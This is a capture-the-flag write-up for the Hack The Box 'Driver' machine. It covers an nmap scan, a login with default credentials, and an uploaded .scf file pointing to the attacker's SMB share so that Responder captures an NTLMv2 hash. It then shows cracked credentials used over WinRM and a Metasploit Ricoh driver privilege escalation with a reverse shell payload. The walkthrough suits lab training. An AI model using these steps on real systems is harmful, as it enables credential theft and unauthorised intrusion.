htb Driver

Information Gathering

# Nmap 7.98 scan initiated on Wednesday, December 31, 2025, at 09:16:57, with the following command:  
`/usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.106`  
**Nmap scan report for 10.10.11.106:**  
The host is online (latency: 0.088 seconds).  
**996 TCP ports were not shown due to no response.**  

| PORT     | STATE      | SERVICE      | VERSION         |
|---------|---------|------------|-----------------|
| 80/tcp   | open     | http         | Microsoft IIS httpd 10.0    |
|        |         | _http-title: The site does not have a title (format: text/html; charset: UTF-8). |
|        |         | http-methods:     | OPTIONS, TRACE, GET, HEAD, POST   |
|        |         | _Potentially risky method: TRACE     |
|        |         | _http-server-header: Microsoft-IIS/10.0    |
| 135/tcp   | open     | msrpc        | Microsoft Windows RPC       |
| 445/tcp   | open     | microsoft-ds     | Microsoft Windows 7–10       |
| 5985/tcp  | open     | http         | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
|        |         | _http-server-header: Microsoft-HTTPAPI/2.0    |
|        |         | _http-title: Not found         |
**Warning:** The results from OSScan may be unreliable because at least one open port and one closed port could not be detected.  
**Possible operating systems:**  
Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows 10 1607 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 11 (86%),  
Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%),  
Microsoft Windows Vista or Windows 7 (86%),  
Microsoft Windows Server 2008 R2 or Windows 7 SP1 (85%), Microsoft Windows Server 2012 R2 (85%),  
Microsoft Windows Server 2016 (85%).  
**Uptime estimate:** 0.001 days (since Wednesday, December 31, 2025, 09:15:55).  
**TCP sequence prediction difficulty:** 258 (Difficult).  
**IP address sequence generation:** Incremental.  
**Service information:**  
Host: DRIVER; Operating system: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   Version: 3.1.1
|_    Message signing is enabled but not required
| smb2-time:
|   Date: 2025-12-31T15:47:04
|_  Start time: 2025-12-31T15:45:49
| smb-security-mode:
|   Used account: guest
|   Authentication level: user
|   Challenge response: Supported
|_  Message signing: Disabled (dangerous, but this is the default setting)
|_  Clock skew: Mean: 6h29m44s; Deviation: 0s; Median: 6h29m44s

Data files were read from: /usr/share/nmap
OS and service detection was performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap results: Scanning completed on Wednesday, December 31, 2025, at 09:17:57 AM – 1 IP address (1 host up) was scanned in 60.06 seconds.

Vulnerability Analysis

By accessing http://10.10.11.106/ and using the username “admin” and password “admin”, it was discovered that firmware can be uploaded to the system, and the SMB service is also enabled.

SCF NTLM Hash Capture

Windows has a feature where if a folder contains a .scf (Shell Command File) file, and Windows Explorer (or a background service) attempts to view the folder, the .scf file can instruct the system to load a “remote icon”.

Attack Process:

1. A malicious .scf file is uploaded, which contains a message stating that the icon should be obtained from the attacker’s machine.
2. The target system’s background service attempts to connect to Kali while processing the uploaded file.
3. When Windows connects to the SMB share, it automatically sends the current user’s NTLMv2 hash for authentication.
4. On Kali, the Responder tool is used to intercept this hash.
5. Once the hash is obtained, it is cracked to reveal the plaintext password.

Exploitation (User Flag)

A malicious .scf file is uploaded, containing the instruction to obtain the icon from the attacker’s machine:

➜ driver nano @exploit.scf
➜ driver cat @exploit.scf
[Shell]
Command=2
IconFile=\\10.10.16.3\share\test.ico
[Taskbar]
Command=ToggleDesktop

To start listening for uploaded files:

➜ driver sudo responder -I tun0
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:9df54339562d9c7c:9D14D9809E6DB7E0A35B2866A418F660:01010000000000000002E498F377ADC01C085F55086ACD0BF0000000002000800440044004200320001001E00570049004E002D004C004C00320054004C00480056004C004C00580037002E0044004400420032002E004C004F00430041004C00030014004400420032002E004C004F00430041004C00050014004400420032002E004C004F00430041004C0007000800002E498F377ADC01060004000200000000000000000000000000000000020000021B774E55D153D08289FB802C0AFD1AB67A81BF61B6A4381AE931D3BBB07E3BE0A001000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003300000000000000000000000000

The password tony:liltony was cracked using this method:

➜ driver evil-winrm -i 10.10.11.106 -u tony -p 'liltony'

Privilege Escalation (Root Access)

We attempt to connect to msfconsole:

meterpreter > ps
2848  840   taskhostw.exe            x64   1        DRIVER\tony  C:\Windows\System32\taskhostw.exe
meterpreter > migrate 2848  # Migrate to the interactive session 1
[*] Migrating from 5036 to 2848...
[*] Migration completed successfully.
msf exploit(multi/handler) > use multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
run

[*] 10.10.11.106 - Valid modules for session 1:
============================
#   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
2   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
3   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
4   exploit/windows/local/bypassuac_fodhelper                      Yes                      The target appears to be vulnerable.
......

Since port 80 is running a printer service, we can attempt to exploit related vulnerabilities.

We check the PowerShell history commands:

C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\Users\tony> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1

Therefore, we use the following exploit:

15  exploit/windows/local/ricoh_driver_privesc    Yes   The target appears to be vulnerable. The Ricoh driver directory has full permissions.

msf exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ricoh_driver_privesc) > set session 1
session => 1
msf exploit(windows/local/ricoh_driver_privesc) > set lhost tun0
lhost => 10.10.16.3
msf exploit(windows/local/ricoh_driver_privesc) > run

Lessons Learned